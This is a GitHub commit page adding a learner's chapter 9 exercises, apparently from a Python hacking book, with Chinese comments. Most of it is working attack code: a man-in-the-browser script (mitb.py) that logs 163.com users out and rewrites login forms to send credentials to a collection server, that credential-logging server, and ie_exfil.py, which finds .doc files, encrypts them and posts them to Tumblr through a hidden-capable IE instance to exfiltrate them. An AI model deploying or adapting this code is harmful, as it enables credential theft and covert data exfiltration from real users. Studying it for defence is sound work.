Skip to content

Commit 20fc3a6

Browse files
giantbranchgiantbranch
committed
finished chapter 9
1 parent d60bcdc commit 20fc3a6

File tree

322 files changed

+65889
-0
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

322 files changed

+65889
-0
lines changed

‎我手敲的代码(中文注释)/chapter9/VCForPython27.msi

83.8 MB
Binary file not shown.

‎我手敲的代码(中文注释)/chapter9/cred_server.py

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
#-*- coding:utf8 -*-
2+
3+
"""
4+
@version:
5+
@author: giantbranch
6+
@file: cred_server.py
7+
@time: 2016/3/11 22:26
8+
"""
9+
10+
import SimpleHTTPServer
11+
import SocketServer
12+
import urllib
13+
14+
15+
16+
class CredRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
17+
# 处理POST请求
18+
def do_POST(self):
19+
# 获取包长度
20+
content_length = int(self.headers['Content-Length'])
21+
# 读取这么多长度的内容并打印出来，登录凭证就出来了
22+
creds = self.rfile.read(content_length).decode('utf-8')
23+
print creds
24+
# 跟着获取用户访问的原始站点，进行301重定向，并设置头部
25+
site = self.path[1:]
26+
self.send_response(301)
27+
self.send_header("Location",urllib.unquote(site))
28+
self.end_headers()
29+
30+
# 初始化监听地址和端口，并调用一个类来处理请求，其实就是处理POST请求
31+
server = SocketServer.TCPServer(('0.0.0.0', 8080), CredRequestHandler)
32+
# 永远监听
33+
server.serve_forever()

‎我手敲的代码(中文注释)/chapter9/decryptor.py

Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
#-*- coding:utf8 -*-
2+
3+
"""
4+
@version:
5+
@author: giantbranch
6+
@file: decryptor.py
7+
@time: 2016/3/13 10:21
8+
"""
9+
10+
import zlib
11+
import base64
12+
from Crypto.PublicKey import RSA
13+
from Crypto.Cipher import PKCS1_OAEP
14+
15+
private_key = ""
16+
17+
rsakey = RSA.importKey(private_key)
18+
rsakey = PKCS1_OAEP.new(rsakey)
19+
20+
chunk_size = 256
21+
offset = 0
22+
decrypted = ""
23+
encrypted = base64.b64decode(encrypted)
24+
25+
while offset < len(encrypted):
26+
decrypted += rsakey.decrypt(encrypted[offset:offset+chunk_size])
27+
offset += chunk_size
28+
29+
# 解压负载
30+
plaintext = zlib.decompress(decrypted)
31+
32+
print plaintext

‎我手敲的代码(中文注释)/chapter9/ie_exfil.py

Lines changed: 173 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,173 @@
1+
#-*- coding:utf8 -*-
2+
3+
"""
4+
@version:
5+
@author: giantbranch
6+
@file: ie_exfil.py
7+
@time: 2016/3/11 23:13
8+
"""
9+
10+
import win32com.client
11+
import os
12+
import fnmatch
13+
import time
14+
import random
15+
import zlib
16+
17+
from Crypto.PublicKey import RSA
18+
from Crypto.Cipher import PKCS1_OAEP
19+
20+
doc_type = ".doc"
21+
username = ""
22+
password = ""
23+
24+
public_key = "-----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnqDNZMxg2xp620nt0QTwJ0Bv7pRJvdV0Yems1JxnOqA3uCrdZe/fXpD7+kUFRZ6sCZnvcicuyGDMKszvIK75/QWLLCIoMt5cPk1gqsN1djFmG95k63Z/fU1CZbcWa3Kdzo5Ca0Mu262y/n0q5r8TT4khKNOsjeyup1Fk3ll+/DrUrMqxXmX6YK/tGtJhzT+wK55zoZakVR+9S8wHQq27Y+y2xhS2aq1sxZEnYM3/MGerH8nRZZ4WLf2bqMUHywT80cVCxkHb7J5dKNELx4PRIWPbYdmRxHljJpK2kt383yoIQihK5qKkj2SuBFsvoVNEwq4hzVGQTBNn43BRVj8BpwIDAQAB-----END PUBLIC KEY-----"
25+
26+
27+
def wait_for_browser(browser):
28+
# 等待浏览器加载完一个页面
29+
while browser.ReadyState != 4 and browser.ReadyState != "complete":
30+
time.sleep(0.1)
31+
32+
return
33+
34+
def encrypt_string(plaintext):
35+
# 设置块大小
36+
chunk_size = 256
37+
print "Compressing: %d bytes" % len(plaintext)
38+
# 首先调用zlib进行压缩
39+
plaintext = zlib.compress(plaintext)
40+
41+
print "Encrypting %d bytes" % len(plaintext)
42+
43+
# 利用公钥建立RSA公钥加密对象
44+
rsakey = RSA.importKey(public_key)
45+
rsakey = PKCS1_OAEP.new(rsakey)
46+
47+
encrypted = ""
48+
offset = 0
49+
50+
# 对文件内容进行每256个字节为一块循环加密
51+
while offset < len(plaintext):
52+
# 获取某个256字节
53+
chunk = plaintext[offset:offset+chunk_size]
54+
# 若到最后不够256字节，则用空格补够
55+
if len(chunk) % chunk_size != 0:
56+
chunk += " " * (chunk_size - len(chunk))
57+
# 将已加密的连起来
58+
encrypted += rsakey.encrypt(chunk)
59+
# 偏移增加
60+
offset += chunk_size
61+
# 对加密后的进行base64编码
62+
encrypted = encrypted.encode("base64")
63+
# 输出最后加密后的长度
64+
print "Base64 encodeed crypto: %d" % len(encrypted)
65+
# 返回加密后内容
66+
return encrypted
67+
68+
def encrypt_post(filename):
69+
70+
# 打开并读取文件
71+
fd = open(filename, "rb")
72+
contents = fd.read()
73+
fd.close()
74+
# 分别加密文件名和内容
75+
encrypt_title = encrypt_string(filename)
76+
encrypt_body = encrypt_string(contents)
77+
78+
return encrypt_title, encrypt_body
79+
80+
# 随机休眠一段时间
81+
def random_sleep():
82+
time.sleep(random.randint(5,10))
83+
return
84+
85+
def login_to_tumblr(ie):
86+
87+
# 解析文档中的所有元素
88+
full_doc = ie.Document.all
89+
# 迭代每个元素来查找登陆表单
90+
for i in full_doc:
91+
if i.id == "signup_email":
92+
i.setAttribute("value", username)
93+
elif i.id == "signup_password":
94+
i.setAttribute("value", password)
95+
96+
random_sleep()
97+
98+
try:
99+
# 你会遇到不同的登陆主页
100+
if ie.Document.forms[0].id == "signup_form":
101+
ie.Document.forms[0].submit()
102+
else:
103+
ie.Document.forms[1].submit()
104+
except IndexError, e:
105+
pass
106+
107+
random_sleep()
108+
109+
# 登陆表单是登陆页面的第二个表单
110+
wait_for_browser(ie)
111+
return
112+
113+
def post_to_tumblr(ie, title, post):
114+
full_doc = ie.Document.all
115+
116+
for i in full_doc:
117+
if i.id == "post_one":
118+
i.setAttribute("value", title)
119+
title_box = i
120+
elif i.id == "post_two":
121+
i.setAttribute("innerHTML", post)
122+
elif i.id == "create_post":
123+
print "Found post button"
124+
post_form = i
125+
i.focus()
126+
127+
random_sleep()
128+
title_box.focus()
129+
random_sleep()
130+
131+
post_form.childran[0].click()
132+
wait_for_browser(ie)
133+
134+
random_sleep()
135+
136+
return
137+
138+
def exfiltrate(document_path):
139+
# 创建IE实例化对象
140+
ie = win32com.client.Dispatch("InternetExplorer.Application")
141+
# 调试阶段设置为1，实际设置为0，以增加隐蔽性
142+
ie.Visible = 1
143+
144+
# 访问tumblr站点并登陆
145+
ie.Navigate("http://www.tumblr.com/login")
146+
wait_for_browser(ie)
147+
148+
print "Logging in ..."
149+
login_to_tumblr(ie)
150+
print "Logged in ... navigating"
151+
152+
ie.Navigate("https://www.tumblr.com/new/text")
153+
wait_for_browser(ie)
154+
155+
# 加密文件
156+
title,body = encrypt_post(document_path)
157+
158+
print "Creating new post..."
159+
post_to_tumblr(ie, title, body)
160+
print "Posted!"
161+
162+
# 销毁IE实例
163+
ie.Quit()
164+
ie = None
165+
166+
167+
# 用户文档检索的主循环
168+
for parent, directories, filenames in os.walk("C:\\test\\"):
169+
for filename in fnmatch.filter(filenames, "*%s" % doc_type):
170+
document_path = os.path.join(parent, filename)
171+
print "Found: %s" % document_path
172+
exfiltrate(document_path)
173+
raw_input("Continue?")

‎我手敲的代码(中文注释)/chapter9/keygen.py

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
#-*- coding:utf8 -*-
2+
3+
"""
4+
@version:
5+
@author: giantbranch
6+
@file: keygen.py
7+
@time: 2016/3/13 9:55
8+
"""
9+
10+
from Crypto.PublicKey import RSA
11+
12+
# 随机地生成一个新的RSA key对象
13+
new_key = RSA.generate(2048, e = 65537)
14+
15+
# 导出公钥和私钥
16+
public_key = new_key.publickey().exportKey("PEM")
17+
private_key = new_key.exportKey("PEM")
18+
19+
# 分别输出公钥和私钥
20+
print public_key
21+
print private_key
22+

‎我手敲的代码(中文注释)/chapter9/mitb.py

Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
#-*- coding:utf8 -*-
2+
3+
"""
4+
@version:
5+
@author: giantbranch
6+
@file: mitb.py
7+
@time: 2016/3/11 12:09
8+
"""
9+
10+
import win32com.client
11+
import time
12+
import urlparse
13+
import urllib
14+
15+
# 接受窃取的数据的服务器
16+
data_receiver = "http://127.0.0.1:8080/"
17+
18+
# 目标站点
19+
target_sites = {}
20+
21+
target_sites["www.163.com"] = {
22+
"logout_url" : "",
23+
"logout_form" : None,
24+
"logout_form_index":0,
25+
"owned" :False
26+
}
27+
target_sites["reg.163.com"] = {
28+
"logout_url" : "",
29+
"logout_form" : None,
30+
"logout_form_index":0,
31+
"owned" :False
32+
}
33+
34+
35+
36+
# IE浏览器类的ID号
37+
clsid = '{9BA05972-F6A8-11CF-A442-00A0C90A8F39}'
38+
39+
# COM对象实例化，就是上面那个
40+
windows = win32com.client.Dispatch(clsid)
41+
42+
def wait_for_browser(browser):
43+
# 等待浏览器加载完一个页面
44+
while browser.ReadyState != 4 and browser.ReadyState != "complete":
45+
time.sleep(0.1)
46+
47+
return
48+
49+
while True:
50+
51+
for browser in windows:
52+
url = urlparse.urlparse(browser.LocationUrl)
53+
if url.hostname in target_sites:
54+
#print "i am in"
55+
if target_sites[url.hostname]["owned"]:
56+
continue
57+
58+
# 如果有一个URL，我们可以重定向
59+
if target_sites[url.hostname]["logout_url"]:
60+
browser.Navigate(target_sites[url.hostname]["logout_url"])
61+
wait_for_browser(browser)
62+
else:
63+
# 检索文件中的所有元素
64+
full_doc = browser.Document.all
65+
# 迭代寻找注销表单
66+
for i in full_doc:
67+
try:
68+
# 找到退出登陆的表单并提交
69+
if i.id == target_sites[url.hostname]["logout_form"]:
70+
i.submit()
71+
wait_for_browser(browser)
72+
except:
73+
pass
74+
# 现在来修改登陆表单
75+
try:
76+
login_index = target_sites[url.hostname]["login_form_index"]
77+
login_page = urllib.quote(browser.LocationUrl)
78+
browser.Document.forms[login_index].action = "%s%s" % (data_receiver, login_page)
79+
target_sites[url.hostname]["owned"] = True
80+
except:
81+
pass
82+
time.sleep(5)
83+
84+
85+

‎我手敲的代码(中文注释)/chapter9/pycrypto-2.6.1.tar.gz

436 KB
Binary file not shown.

0 commit comments

Comments
 (0)